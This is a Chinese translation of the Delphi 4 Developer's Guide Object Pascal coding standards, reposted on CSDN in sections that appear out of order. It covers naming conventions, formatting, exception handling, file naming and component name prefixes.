procedure GetUserName : string;

3.3.2 形式参数

3.3.2.1 格式化

如果有的话，相同类型的形参应合并在一个语句中：

  procedure Foo(Param1, Param2, Param3 : Integer; Param4 : string);

3.3.2.2 命名

所有形参的名字应是十分符合它们所代表的意义，特别是应该以传送到例程中的标志符的名称为基础。一个好的参数名称应以字符A为前缀－ 例如：

  procedure SomeProc(AuserName : string; AuserAge : integer);

“A”前缀按约定表示该参数的名称是与类类型中的一个属性或域的名称相对应的。

3.3.2.3 参数的排序

下面的形参的顺序重点说明了注册者调用约定调用的好处。

－ 最常用的参数应放在第一位，其它的参数应按从左到右的顺序排列。

－ 输入参数列表应放在输出参数列表的左边。

－ 将通用的参数放在特殊参数的左边，例如：

procedure SomeProc(Aplanet, AContinent, Acountry, Astate, Acity)

－ 排序有可能有些例外，比如事件的处理。类型为TObject的Sender参数经常放在第一位。

3.3.2.4 常量参数

当一个参数为记录型、数组类型、ShortString、或接口类型并且在例程中不被改变时，这些参数应做上常量标记。这样做会让编译器更加有效率的产生有关这些不改变的参数的代码。

而例程中另外一些非变参数也可常量来传送。尽管这样做没有产生任何效果和提高效率，这将会给调用例程的使用者提供更多的信息。

3.3.2.5 名称的冲突

当使用拥有两个名称相同的例程的两个单元时，如果你调用该例程时，在 uses 子句中排在后面的单元中的例程将会被调用。为了解决这种“在 uses 子句上的模糊”冲突，要在调用该例程时写上相关的单元的前缀，例如：

sysUtile.FindClose(SR);

或

windows.FindClose(Handle);

3.4 变量

3.4.1 变量的命名和格式

变量的命名应以使用它们的目的相符

循环控制变量应采用一个单独的字符作为名字，比如 I，J，或K，也可以采用更加有意义的名字，比如 UserIndex。

逻辑变量的名字应能充分表达准确的真或假的意思。

3.4.2 局部变量

一个过程中的局部变量应遵循所有其它变量的使用和命名约定。临时变量的取名应合理。

如果必须的话，在一进入例程就应初始化局部变量。局部的AnsiString变量会自动初始化为一个空的字符串。

局部接口和派分接口类型变量将会自动初始化为nil，并且局部变数和ole变数类型变量会自动初始化为Unassigned

3.4.3 全局变量的使用

使用全局变量是不推荐的。但是，在某些时候还是必须使用，而且它们也只应在必须使用的时候才使用。在这种时候，你应努力只在一段上下文范围内使用全局变量。例如，一个全局变量只应在一个单元的implemntation部分内是全局的。如果打算在多个单元类使用全局数据，你应将它们移到一个公共的单元中然后被其它所有单元使用。

全局变量可以在var子句中直接初始化为一个值。记住，所有的全局数据会自动初始化为0,因此不要将全局变量初始化为一个“空”值比如 0、nil、’’、Unassigned、等等。这样做的一个理由是因为零－初始化的全局数据在exe文件中不会占据任何空间。零－初始化数据被存储在一个虚拟的数据段，它在应用程序启动后被分配在一段内存中。非零－初始化的全局数据在硬盘的exe文件占用空间。


CSDN_文档中心_Delphi 程序员代码编写标准指南 (六）

七、构件

7.1 用户自定义构件

在标准构件中命名出来的构件的名称同在“类类型”部分定义中的一样定义成一个类类型，不同的是它们有一个3字符的指示前缀，这个前缀可以表示公司、个人或其它实体。例如，一个为 Delphi 4开发者指南编写的时钟构件的名称定义为：

TddgClock = class(TComponent)

注意，那三个前缀字符是小写的。

7.2 构件单元

构件单元应只包含一个主要的构件，一个主要的构件是指出现在构件栏中的构件。主要构件的辅助构件/对象应放入到同一个单元中。

7.3 使用注册单元

构件的注册过程应从构件本身的单元中剔除，并放入到一个独立的单元中。这个注册单元可以用来注册任何构件、属性编辑器、构件编辑器、专家器等。

构件的注册只应在设计时刻包中进行，注册单元应包含在设计时刻包中而不应放在运行时刻包中。

推荐使用的注册单元的名称是：

XxxReg.pas

上面的3个前缀字符“Xxx”用来表示一个公司、个人或任何其它的实体。例如，在 Delphi 4 开发者指南中的注册单元的名称应为 DdgReg.pas。

7.4 构件实例命名约定

所有的构件都应取个描述性的名称。由Delphi创建的缺省名的构件不会被遗弃。在设计构件类型时应设计一个小写的前缀。使用前缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容易实现。

7.5 构件的前缀

以下构件的前缀可以用来设计Delphi 4中的标准构件。请在此列表中加入第三方构件的前缀。

7.6 Standard页

前缀 构件

mm        TMainMenu

pm        TPopupMenu

mmi       TMainMenuItem

pmi       TPopupMenuItem

前缀 构件

lbl       TLabel

edt       TEdit

mem       TMemo

btn       TButton

cb        TCheckBox

rb        TRadioBox

lb        TListBox

cb        TComboBox

scb       TScrollBar

gb        TGroupBox

rg        TRadioGroup

pnl       TPanel

cl        TCommandList

7.7 Additional页

bbtn      TBitBtn

sb        TSpeedButton

me        TMaskEdit

sg        TStringGrid

dg        TDrawGrid

img       TImage

shp       TShape

bvl       TBevel

sbx       TScrollBox

clb       TCheckListbox

spl       TSplitter

stx       TStaticText

cht       TChart

7.8 Win32页

tbc       TTabControl

pgc       TPageControl

il        TImageList

re        TRichEdit

thr       TTrackBar

prb       TProgressBar

ud        TUpDown

hk        THotKey

ani       TAnimate

dtp       TDateTimePicker

tv        TTreeView

lv        TListView

hdr       THeaderControl

前缀 构件

stb       TStatusBar

tlb       TToolBar

clb       TCoolBar

7.9 System页

tm        TTimer

pb        TPaintBox

mp        TMediaPlayer

olec      TOleContainer

ddcc      TDDEClientItem

ddci      TDDEClientItem

ddsc      TDDEServerConv

ddsi      TDDEServerItem

7.10 Internet页

csk       TClientSocket

ssk       TServerSocket

wbd       TWebDispatcher

pp        TPageProducer

tp        TQueryTableProducer

dstp      TDataSetTableProducer

nmdt      TNMDayTime

nec       TNMEcho

nf        TNMFinger

nftp      TNMFtp

nhttp     TNMHttp

nMsg      TNMMsg

nmsg      TNMMSGServ

nntp      TNMNNTP

npop      TNMPop3

nuup      TNMUUProcessor

smtp      TNMSMTP

nst       TNMStrm

nsts      TNMStrmServ

ntm       TNMTime

nudp      TNMUdp

psk       TPowerSock

ngs       TNMGeneralServer

html      THtml

url       TNMUrl

sml       TSimpleMail

7.11 Data Access页

前缀 构件

ds        TDataSource

tbl       TTable

qry       TQuery

sp        TStoredProc

db        TDataBase

ssn       TSession

bm        TBatchMove

usql      TUpdateSQL

7.12 Data Controls页

dbg       TDBGrid

dbn       TDBNavigator

dbt       TDBText

dbe       TDBEdit

dbm       TDBMemo

dbi       TDBImage

dblb      TDBListBox

dbcb      TDBComboBox

dbch      TDBCheckBox

dbrg      TDBRadioGroup

dbll      TDBLookupListBox

dblc      TDBLookupComboBox

dbre      TDBRichEdit

dbcg      TDBCtrlGrid

dbch      TDBChart

7.13 Decision Cube页

dcb       TDecisionCube

dcq       TDecisionQuery

dcs       TDecisionSource

dcp       TDecisionPivot

dcg       TDecisionGrid

dcgr      TDecisionGraph

7.14 QReport页

qr        TQuickReport

qrsd      TQRSubDetail

qrb       TQRBand

qrcb      TQRChildBand

qrg       TQRGroup

qrl       TQRLabel

前缀 构件

qrt       TQRText

qre       TQRExpr

qrs       TQRSysData

qrm       TQRMemo

qrrt      TQRRichText

qrdr      TQRDBRichText

qrsh      TQRShape

qri       TQRImage

qrdi      TQRDBMImage

qrcr      TQRCompositeReport

qrp       TQRPreview

qrch      TQRChart

7.15 Dialogs页

对话框构件是由构件封装的真正的窗体，因此，它们应遵循窗体的命名约定。类型已由构件的名称定义。它的实例的名称是Delphi自动生成的类型实例名字去掉数字后缀。举例如下：

类型 实例名字

TOpenDialog             OpenDialog

    TSaveDialog             SaveDialog

    TOpenPictureDialog     OpenPictureDialog

    TSavePictureDialog     SavePictureDialog

    TFontDialog             FontDialog

    TColorDialog            ColorDialog

    TPrintSetupDialog      PrintSetupDialog

    TFindDialog             FindDialog

    TReplaceDialog         ReplaceDialog

7.16 Win3.1页

dbll      TDBLookupList

dblc      TDBLookupCombo

ts        TTabSet

ol        TOutline

tnb       TTabbedNoteBook

nb        TNoteBook

hdr       THeader

flb       TFileListBox

dlb       TDirectoryListBox

dcb       TDriveComboBox

fcb       TFliterComboBox

7.17 Samples页

gg        TGauge

前缀 构件

cg        TColorGrid

spb       TSpinEdit

spe       TSpinEdit

dol       TDirectoryOutline

cal       TCalendar

ibea      TIBEventAlerter

7.18 ActiveX页

cfx       TChartFX

vsp       TVSSpell

f1b       TF1Book

vtc       TVTChart

grp       TGraph

7.19 Midas页

prv       TProvider

cds       TClientDataSet

qcds      TQueryClientDataSet

dcom      TDCOMConnection

olee      TOleEnterpriseConnection

sck       TSocketConnection

rms       TRemoteServer

mid       TMidasConnection


CSDN_文档中心_Delphi 程序员代码编写标准指南 (三）

3.5 类型

3.5.1 大写约定

如果类型的名字是保留字，那么它应全部小写。Win32 API类型通常全部大写，并且你必须遵循在Windows.pas或其他API单元中的详细类型名称的约定。对于其他变量名字，地一个字母应为大写，而其他字母应错落有致。下面是一些例子：

var

        MyString : string; //保留字

WindowHandle : HWND; //Win32 API 类型

I : Integer; //在 System单元中引进的类型标识符

3.5.1.1 浮点指针类型

不推荐使用Real类型，因为它的存在只是为了向前兼容早期的Pascal代码。在通常情况下用Double来实现浮点指针的需要。并且，Double对处理器和总线而言是做了最优化处理的，它也是IEEE中定义的标准数据格式。只有当需要的范围超出Double所定义的范围时才使用Extended。Extended是intel定义的类型且在Java中不支持。只有当浮点指针变量的实际字节大小有其意义时才使用Single。（比如当使用另一种语言的DLLs时）。

3.5.1.2 枚举类型

枚举类型的名字需符合使用该类型的目的。该类型的名字需以字符T为前缀，以表明这是一个类型。枚举类型中的标识符列表必须包含两个或三个字符的前缀来对应于该枚举类型的名字－ 例如：

TsongType = (stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);

一个枚举类型的实例的名字应与不要前缀的枚举类型（SongType）相同，除非有更好的原因来赋予该变量更特殊的名字，比如：FavoriteSongType1,FavoriteSongType2 等等。

3.5.1.3 变数和ole变数类型

通常不建议使用变数和Ole变数类型。但在只有运行时刻才能知道数据类型的程序中必须使用该类型，这种情形多出现在COM和数据库开发中。Ole变数使用在以COM为基础的编程中例如自动化和ActiveX控制，而变数使用在非COM的编程中，这是因为变数可以十分有效地存储本地Delphi字符串（同一个字符串变量一样），但Ole变数会将所有的字符串转换为Ole字符串（WideChar 字符串）并且并不实例运算 － 它们永远拷贝。

3.5.2 结构类型

3.5.2.1 数组类型

数组类型的名字需符合它们使用的目的。该类型的名字必须加以前缀T。如果须声明该数组类型的指针，那么该指针需加以前缀P而且应立即声明在该数组声明的前面。例如：

type

          PCycleArray = ^TCycleArray;

          TCycleArray = array[1…100] of integer;

在实际应用中，数组的变量实例的名称应是其类型的名字去掉前缀T。

3.5.2.2 记录类型

记录类型的名字应符合使用它们的目的。其类型的声明应加以前缀T。如果要声明该记录类型的指针，就应加以前缀P并且应紧靠在类型声明的前面声明。例如：

type

          PEmployee = ^TEmployee;

          TEmployee = record

            EmployeeName : string;

            EmployeeRate : Double;

          end;

3.6 语句

3.6.1 if 语句

在if/then/else语句中最常发生的行为应放在then子句中，而其它发生可能性较小的行为应放在else子句中。

尽量避免使用嵌套的if语句，在这种情形下应用多个if语句来判断各种可能。

不要使用if嵌套超过五级深度。应使代码编写得更加清晰、明了。

不要在if语句中使用不必要的圆括号。

如果在if语句中有多个条件需测试，这些条件应按计算强度由少到多的顺序从左到右排列。这样做能使编译器在编译代码时获得布尔估算逻辑的捷径，从而使你的代码获得最佳的优化。举例来说，如果条件1快过条件2，而条件2快过条件3，那么在if语句中的排列应是：

if 条件1 and 条件2 and 条件3 then

3.6.2 case 语句

3.6.2.1 一般性话题

在一个case语句中的各个独立的单元应以数字或字母顺序排列。

每一个case单元的动作行为应保持简单而不应该超过四到五行代码。如果所要执行的动作过于复杂应采用独立的过程或函数。

Case语句中的else子句只有当需要缺省行为或处理错误时才使用。

3.6.2.2 格式

case语句应遵循其它结构的缩格和命名约定。

3.6.3 while 语句

在一个while语句中不建议使用exit过程来跳出循环，尽量仅使用循环条件来跳出循环。

在一个while循环中所用的初始化代码应紧靠在进入while循环前面出现而不要被其它不相关的语句隔开。

任何结束后的处理应在循环之后立即进行。

3.6.4 for 语句

for语句只有当循环次数已知的情况下才能取代while语句使用。

3.6.5 repeat 语句

repeat语句的使用同while语句一样，并且遵循同样的通用方针。

3.6.6 with 语句

3.6.6.1 一般话题

with语句应节省使用，并且带有大量的警告。避免过度使用with语句并且在with语句中小心使用多个对象、记录等等。例如：

with Record1, Record2 do

这些事情会使程序员感到困惑并难以发现问题所在。

3.6.6.2 格式

with 语句遵循本文档所说明的命名约定和缩格的格式规则。

3.7 结构异常处理

3.7.1 一般话题

异常的处理大量地使用在错误纠正和资源保护方面。这就是说一旦资源被分配，一个try…finally必需加以使用来保证该资源被正确的释放。这种异常的保护也是指在一个单元的initializition/finalization或一个对象的constructor/destructor中进行资源的分配和释放。

3.7.2 try…finally的使用

任何情形下，每一次的分配都应跟随一个try…finally。举例来说，下面的代码会造成可能的错误：

SomeClass1 := TsomeClass.Create;

     SomeClass2 ;= TsomeClass.Create;

     try

       { do some code }

     finally

       SomeClass1.Free;

       SomeClass2.Free;

     end;

一个更安全更合适的分配过程应是：

SomeClass1 := TSomeClass.Create;

try

       SomeClass2 := TsomeClass.Create;

       try

         { do some code }

       finally

         SomeClass2.Free;

       end;

     finally

       SomeClass1.Free;

     end;

3.7.3 try…except的使用

只有当在异常被触发而你想执行一些任务时才使用try…except。通常，你没有必要为了只是简单地在屏幕上显示一个错误信息而使用try…except语句，因为这会被Application对象自动执行。如果你想在except子句中执行完一些任务之后调用缺省的异常处理，使用raise来重新触发异常到下一个句柄。

3.7.4 try…except…else的使用

try…except中的else子句不建议使用，因为它会打断所有的异常包括那些你没有准备的异常。

3.8 类类型

3.8.1 命名和格式

类类型的名称应符合使用它们的目的。类型名字应加以前缀T以表明这是一个类型的定义 － 例如：

type

  Tcustomer = class(TObject)

类型的实例通常是没有前缀T的类型的名字 － 例如：

var

  Customer :Tcustomer;

注意：查阅“构件类型的命名标准”来获得更多有关构件命名的信息。

3.8.2 域

3.8.2.1 命名/格式

类的域名遵循与变量标识符同样的约定除了它们应以F为前缀，来表明这是一个域的名称。

3.8.2.2 可视化

所有的域都必需是私有的。想在类的范围之外存取域得通过属性来使用。

3.8.3 方法

3.8.3.1 命名/格式

方法的命名应遵循本文档中有关过程和函数的约定叙述。

3.8.3.2 使用静态的方法

如果使用一个静态的方法，那么该方法就不能被该类的后代类所继承。

3.8.3.3 使用虚拟/动态的方法

如果你打算该类的方法能被后代的类所继承就得使用虚拟的方法。只有在该方法有多个继承时（直接的或间接的）才使用动态的方法。例如，一个类类型包含一个可继承的方法，而100个后代类要继承这种方法，那么这个方法就会动态地产生为100个后代类使用的内存。

3.8.3.4 使用抽象的方法

如果在一个类中使用抽象的方法，该类就不能被创建。只有在那些永远不会被创建的类中使用抽象的方法。

3.8.3.5 属性存取方法

所有存取类的方法都只能出现在类的private或protected部分。属性存取方法的命名应遵循过程和函数的约定规则。读取存取方法（方法读取器）必需以单词Get为前缀。写入存取方法（方法写入器）必需以单词Set为前缀。方法写入器的参数的名字应为Value，并且它的类型应是它所操作的属性的类型。例如：

TSomeClass = class(TObject)

 private

   FsomeField : Integer;

 protected

   function GetSomeField : Integer;

   procedure SetSomeField(Value : Integer);

 public

   property SomeField : Integer read GetSomeField write SetSomeField;

 end;

3.8.4 属性

3.8.4.1 命名/格式

属性如果是表示为一个私有域的存取器的话，那么它的名字应是它们所操作的域的名字除去解释符F。

属性的名字应是名词，不是动词。属性表示的是数据，而方法表示的是行为。

数组类型的名称应为复数。一般情况下属性的名称应为单数。

3.8.4.2 使用存取的方法

尽管没有要求，但还是建议尽量少地为一个表示私有域的属性而使用写入存取方法。


CSDN_文档中心_Delphi 程序员代码编写标准指南 (四）

四、文件

4.1 工程文件

4.1.1 命名

工程文件应取个描述性的名字。例如，Delphi 4开发者指南错误管理器 的工程名字是：DDGBugs.dpr。一个有关系统信息的程序的名字就应象 SysInfo.dpr。

4.2 窗体文件

4.2.1 命名

一个窗体文件的取名应可以描述使用该窗体的目的，并加以后缀Frm。例如，一个“关于”的窗体的文件名应是AboutFrm.dpr。主窗体的文件名应是MainFrm.dpr。

4.3 数据模板文件

4.3.1 命名

数据模板的取名应能表示使用该数据模板的目的，它的名称应加以两个字符的后缀DM。例如，自定义数据模板的文件名字应为CustomersDM.dfm。

4.4 远端数据模板文件

4.4.1 命名

远端数据模板的取名应能表示使用该远端数据模板的目的，它的名称应加以三个字符的后缀RDM。例如，自定义远端数据模板的文件名字应为CustomersRDM.dfm。

4.5 Unit文件

4.5.1 通用Unit结构

4.5.1.1 unit的名字

Unit文件应取一个可描述性的名字。例如，包含应用程序主窗体的单元应叫做MainFrm.pas。

4.5.1.2 uses子句

在interface部分的uses子句应包含在interface部分中的代码所需要的单元。去掉那些Delphi可以自动加入到程序中的单元。

在implementation部分的uses子句应只包含在implementation部分中的代码所需要的单元的名字。去掉不必要的单元。

4.5.1.3 interface部分

interface部分应包含只那些其它单元所需要存取类型的定义、变量、过程/函数的预定义等等。否则，就应放在implementation部分定义。

4.5.1.4 implementation部分

implementation部分应包含那些只在本单元中私用的类型定义、变量、过程/函数定义等等。

4.5.1.5 initialization部分

不要在initialization 部分放入耗时长的代码，这将使程序的第一个界面出现

得比较缓慢。

4.5.1.6 finalization部分

在这里要保证释放你在Initialization部分所分配的任何资源。

4.5.2 窗体单元

4.5.2.1 命名

一个窗体的单元文件应拥有与它所对应的窗体文件同样的名称。例如，“关于”窗体的单元名称应为 AboutFrm.pas，而主窗体的单元名称应为MainFrm.pas。

4.5.3 数据模板单元

4.5.3.1 命名

一个数据模板的单元文件应拥有与它所对应的数据模板文件同样的名称。例如，一个自定义数据模板单元的名称应为CustomersDM.pas。

4.5.4 一般目的单元

4.5.4.1 命名

一般目的单元的取名应符合使用该单元的目的。例如，一个实用程序单元取名为BugUtilities.pas。一个包含全局变量的单元取名为CustomerGlobals.pas。

注意，该单元的名字不能与它的工程中所使用的所有包中的单元的名字相同。不赞成使用一般的或通用的单元名字。

4.5.5 构件单元

4.5.5.1 命名

构件单元应放在独立的目录，以将它们同定义构件组或构件集合的单元区分开来。它们要永远同工程在不同的目录。单元名字应同它们的内容相符。

注意：查阅“用户定义的构件”部分来获得更多有关构件命名标准的信息。

4.6 文件头

建议在所有源文件、工程文件、单元等等中使用信息化文件头。一个良好的文件头应包含以下信息：

｛

版权… 著作的年、月、日…

}


CSDN_文档中心_Delphi 程序员代码编写标准指南 (五）

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

窗体类型的取名应能表达使用该窗体的目的。类型定义应加以前缀T。前缀后面跟随着描述性的名字。最后，应加以Form后缀来描述名字。例如，一个“关于”的窗体的类型的名字应为：

TAboutFrom = class(TForm);

主窗体的定义为：

        TMainForm = class(TForm);

一个用户接入窗体的名字应象：

        TCustomerEntryForm = class(TForm);

5.1.2 窗体实例命名标准

窗体实例应是没有带前缀T的相应类的名字。例如，对应于前面窗体类型而言，其实例的名字应为：

类型名称 实例名称

TAboutForm                AboutForm

   TMainForm                 MainForm

   TCustomerEntryForm      CustomerEntryForm

5.1.3 自动创建窗体

只有主窗体可以是自动创建的除非有其它更好的理由不这样做。所有其它的窗体必需从工程选项对话框中的自动创建列表中移走。查阅以下部分来获得更多的信息。

5.1.4 模式窗体实例化函数

所有的窗体单元都应包含一个窗体实例化函数，该函数用来创建、设置、模式地显示窗体，并释放窗体。该函数应返回窗体的模式结果。该函数要传递的参数应遵循本文档指定的“参数传递”标准。通过这种方式封装的函数性有助于代码的再利用和维护。

该窗体的变量要从单元中移走，并再窗体实例的函数中进行本地式地定义。注意，这就意味着该窗体必需从工程/选项对话框中的自动创建列表中剔除。参考本文档后面的“自动创建窗体”。

例如，下面的单元展示了再GetUserData窗体中的一个函数。

unit UserDataFrm;

  interface

  uses

windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

  type

    TUserDataForm = class(TForm)

      edtUserName : TEdit;

      edtUserID : TEdit;

    private

      { Private declarations }

    public

      { Public declarations }

    end;

  function GetUserData(var aUserName ： String; var aUserID : Integer) :

    Word;

  implementation

  {$R *.DFM }

  function GetUserData(var aUserName : String; var aUserID : Integer) :

    word;

  var

    UserDataForm : TuserDataForm;

  begin

    UserDataForm := TuserDataForm.Create(Application);

    try

      UserDataForm.Caption := ‘Getting User Data’;

      Result := UserDataForm.ShowModal;

      if (Result = mrOK) then

      begin

        aUserName := UserDataForm.edtUserName.Text;

        aUserID := StrToInt(UserDataForm.edtUserID.Text);

      end;

    finally

      UserDataForm.Free;

    end;

  end;

  end.

5.2 数据模板

5.2.1 数据模板命名标准

数据模板的取名要符合使用该数据模板的目的。类型的定义应加以前缀T，后面紧接着描述性的名字，最后要加以后缀单词“DataModule”。例如，一个自定义的数据模板有时候应该象：

            TCustomerDataModule = class(TDataModule)

一个命令式的数据模板的名字应象：

            TOrdersDataModule = class(TDataModule)

5.2.2 数据模板实例命名标准

数据模板实例的名称应是对应不带前缀T的类型的名称。例如，对于前面的窗体类型而言，其实例的名称应为：

类型名称 实例名称

          TCustomerDataModule      CustomerDataModule

          TOrdersDataModule        OrdersDataModule

六、包

6.1 使用运行包和设计包的比较

运行时刻的包应只包含其它构件包所要求的单元或构件。另外，包含属性/构件编辑器和其它只为设计的代码应放入到设计时刻包中。注册单元应放在设计包中。

6.2 文件命名标准

包的名称应依照下面的例子：

“iii libvv.pkg” － 设计时刻包

“iii stdvv.pkg” － 运行时刻包

字符“iii”表示一个3字符标识前缀。这个前缀用来表明公司、个人或其它有标识意义的实体。

字符“vv”表示为该包想要对应Delphi某个版本的包的版本号。

注意，包的名字中包含“lib”或“std”的意思是表明这是一个设计时刻包还是一个运行时刻包。

如果既是设计时刻包又是运行时刻包，该文件的命名是同上面一样的，例如，为 Delphi 4开发者指南做的包的名称应为：

DdgLib40.pkg – 设计时刻包

DdgStd40.pkg – 运行时刻包


CSDN_文档中心_Delphi 程序员代码编写标准指南

copy from

一、序言

二、通用源代码格式规则

2.1 缩格

2.2 页边空格

2.3 begin…end 配对

三、object pascal
3.1 括号

3.2 保留字和关键字

3.3 过程和函数（例程）

3.3.1 命名/格式化

3.3.2 形式参数

3.3.2.1 格式化

3.3.2.2 命名

3.3.2.3 参数的排序

3.3.2.4 常量参数

3.3.2.5 名称的冲突

3.4 变量

3.4.1 变量的命名和格式

3.4.2 局部变量

3.4.3 全局变量的使用

3.5 类型

3.5.1 大写约定

3.5.1.1 浮点指针类型

3.5.1.2 枚举类型

3.5.1.3 变数和ole变数类型

3.5.2 结构类型

3.5.2.1 数组类型

3.5.2.2 记录类型

3.6 语句

3.6.1 if 语句

3.6.2 case 语句

3.6.2.1 一般性话题

3.6.2.2 格式

3.6.3 while 语句

3.6.4 for 语句

3.6.5 repeat 语句

3.6.6 with 语句

3.6.6.1 一般话题

3.6.6.2 格式

3.7 结构异常处理

3.7.1 一般话题

3.7.2 try…finally的使用

3.7.3 try…except的使用

3.7.4 try…except…else的使用

3.8 类类型

3.8.1 命名和格式

3.8.2 域

3.8.2.1 命名/格式

3.8.2.2 可视化

3.8.3 方法

3.8.3.1 命名/格式

3.8.3.2 使用静态的方法

3.8.3.3 使用虚拟/动态的方法

3.8.3.4 使用抽象的方法

3.8.3.5 属性存取方法

3.8.4 属性

3.8.4.1 命名/格式

3.8.4.2 使用存取的方法

四、文件

4.1 工程文件

4.1.1 命名

4.2 窗体文件

4.2.1 命名

4.3 数据模板文件

4.3.1 命名

4.4 远端数据模板文件

4.4.1 命名

4.5 unit文件

4.5.1 通用unit结构

4.5.1.1 unit的名字

4.5.1.2 uses子句

4.5.1.3 interface部分

4.5.1.4 implementation部分

4.5.1.5 initialization部分

4.5.1.6 finalization部分

4.5.2 窗体单元

4.5.2.1 命名

4.5.3 数据模板单元

4.5.3.1 命名

4.5.4 一般目的单元

4.5.4.1 命名

4.5.5 构件单元

4.5.5.1 命名

4.6 文件头

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

5.1.2 窗体实例命名标准

5.1.3 自动创建窗体

5.1.4 模式窗体实例化函数

5.2 数据模板

5.2.1 数据模板命名标准

5.2.2 数据模板实例命名标准

六、包

6.1 使用运行包和设计包的比较

6.2 文件命名标准

七、构件

7.1 用户自定义构件

7.2 构件单元

7.3 使用注册单元

7.4 构件实例命名约定

7.5 构件的前缀

7.6 standard页

7.7 additional页

7.8 win32页

7.9 system页

7.10 internet页

7.11 data access页

7.12 data controls页

7.13 decision cube页

7.14 qreport页

7.15 dialogs页

7.16 win3.1页

7.17 samples页

7.18 activex页

7.19 midas页

Delphi 4 程序员代码编写标准指南
版权所有 1998 Xavier Perched和 Steve Teiseira

一、序言
二、通用源代码格式规则
2.1 缩格
2.2 页边空格
2.3 Begin…End 配对
三、Object Pascal
3.1 括号
3.2 保留字和关键字
3.3 过程和函数（例程）
3.3.1 命名/格式化
3.3.2 形式参数
3.3.2.1 格式化
3.3.2.2 命名
3.3.2.3 参数的排序
3.3.2.4 常量参数
3.3.2.5 名称的冲突
3.4 变量
3.4.1 变量的命名和格式
3.4.2 局部变量
3.4.3 全局变量的使用
3.5 类型
3.5.1 大写约定
3.5.1.1 浮点指针类型
3.5.1.2 枚举类型
3.5.1.3 变数和ole变数类型
3.5.2 结构类型
3.5.2.1 数组类型
3.5.2.2 记录类型
3.6 语句
3.6.1 if 语句
3.6.2 case 语句
3.6.2.1 一般性话题
3.6.2.2 格式
3.6.3 while 语句
3.6.4 for 语句
3.6.5 repeat 语句
3.6.6 with 语句
3.6.6.1 一般话题
3.6.6.2 格式
3.7 结构异常处理
3.7.1 一般话题
3.7.2 try…finally的使用
3.7.3 try…except的使用
3.7.4 try…except…else的使用
3.8 类类型
3.8.1 命名和格式
3.8.2 域
3.8.2.1 命名/格式
3.8.2.2 可视化
3.8.3 方法
3.8.3.1 命名/格式
3.8.3.2 使用静态的方法
3.8.3.3 使用虚拟/动态的方法
3.8.3.4 使用抽象的方法
3.8.3.5 属性存取方法
3.8.4 属性
3.8.4.1 命名/格式
3.8.4.2 使用存取的方法
四、文件
4.1 工程文件
4.1.1 命名
4.2 窗体文件
4.2.1 命名
4.3 数据模板文件
4.3.1 命名
4.4 远端数据模板文件
4.4.1 命名
4.5 Unit文件
4.5.1 通用Unit结构
4.5.1.1 unit的名字
4.5.1.2 uses子句
4.5.1.3 interface部分
4.5.1.4 implementation部分
4.5.1.5 initialization部分
4.5.1.6 finalization部分
4.5.2 窗体单元
4.5.2.1 命名
4.5.3 数据模板单元
4.5.3.1 命名
4.5.4 一般目的单元
4.5.4.1 命名
4.5.5 构件单元
4.5.5.1 命名
4.6 文件头
五、窗体和数据模板
5.1 窗体
5.1.1 窗体类型命名标准
5.1.2 窗体实例命名标准
5.1.3 自动创建窗体
5.1.4 模式窗体实例化函数
5.2 数据模板
5.2.1 数据模板命名标准
5.2.2 数据模板实例命名标准
六、包
6.1 使用运行包和设计包的比较
6.2 文件命名标准
七、构件
7.1 用户自定义构件
7.2 构件单元
7.3 使用注册单元
7.4 构件实例命名约定
7.5 构件的前缀
7.6 Standard页
7.7 Additional页
7.8 Win32页
7.9 System页
7.10 Internet页
7.11 Data Access页
7.12 Data Controls页
7.13 Decision Cube页
7.14 QReport页
7.15 Dialogs页
7.16 Win3.1页
7.17 Samples页
7.18 ActiveX页
7.19 Midas页

一、序言

本文档详述了在Delphi 4开发者指南下进行编程的代码编写标准。在通常情况下，本文档遵循“取消”式格式的指引方针，该方针由Borland国际通过一些例外来使用。在Delphi 4开发者指南中包含本文档的目的在于阐述一种方法，通过该方法，开发小组可以在他们所编写的代码中保持一贯的风格。这样做的目的是使在开发小组中的每一个程序员都可以明白其他程序员的代码。这有助于提高代码编写的可读性和使用的一贯性。

本文档并不意味着包含了所有存在于代码中的标准。但是，它的内容已足够帮你起个好头。你可以自由的增加修改这些标准来满足你的需要。我们不赞成你偏离这些由Borland开发人员所使用的标准太远。我们推荐这么做是因为一旦有新的程序员加入到你的开发小组中，而他们最喜欢和最熟悉的是Borland的标准。象大多数代码标准文档，本文档也会根据需要进行改动。因此，你可以到www.xapware.com/ddg中找到最新的更新版本。本文档不包括用户接口标准。本文档是独立的但也是同样重要的。已经有足够的第三方书籍和Microsoft文档包括了另外一些指导方针，而我们决定并不复制这些信息，但我们会指引你到Microsoft Developers Network 和一些资源，在那儿可以找到你所需的信息。

二、通用源代码格式规则

2.1 缩格

缩格是指在每一级有两个空格。不要在源代码中保留tab字符，这是因为tab字符会随着不同用户的不同设置和不同的资源管理工具（打印、文档、版本控制等）而代表不同的宽度。

你可以通过关闭Environment选项对话框中Editor页上的“Use tab character”和“Optimal fill”检查框（通过Tools|Environment）来禁止保存tab字符。

2.2 页边空格

页边空格会被设置成80字符宽。通常，源码不会超出这个边界，但这个方针会有一些弹性。不管是否有可能，那些超出到另一行的语句会在一个逗号或其他操作符之后与前面的语句相连。当一个语句被打断相连时，它应比原来的那一行语句缩进两个字符。

2.3 Begin…End 配对

Begin 子句应写在独立的一行。例如，下面第一行是错误的写法而第二行是正确的。
for I := 0 to 10 do begin file://错误，begin同for在同一行
for I := 0 to 10 do file://正确，begin出现在独立的一行
begin

这个规则的例外是当begin子句的出现是作为一个else子句的一部分－参考例子：
if some statement then
begin
…
end
else begin
someOtherStatement;
end;

end 语句永远出现在独立的一行。
当begin语句不是一个else子句的一部分时，相应的end语句永远缩进到与begin部分相对应的位置。

三、Object Pascal

3.1 括号

永远不要在括号与括号之间的字符中间留下空格。下面的例子示范了错误的与正确地使用括号中的空格：
CallProc( Aparameter ); file://错误
CallProc(Aparameter); file://正确

永远不要在一个语句中使用不必要的括号。括号只应在源代码中需要的地方使用。以下的例子示范了错误和正确的使用：
if (I = 42) then file://错误 － 多余的括号
if (I = 42) or (J = 42) then file://正确 － 需要括号

3.2 保留字和关键字

Object Pascal 保留字和关键字永远是全部小写。

3.3 过程和函数（例程）

3.3.1 命名/格式化
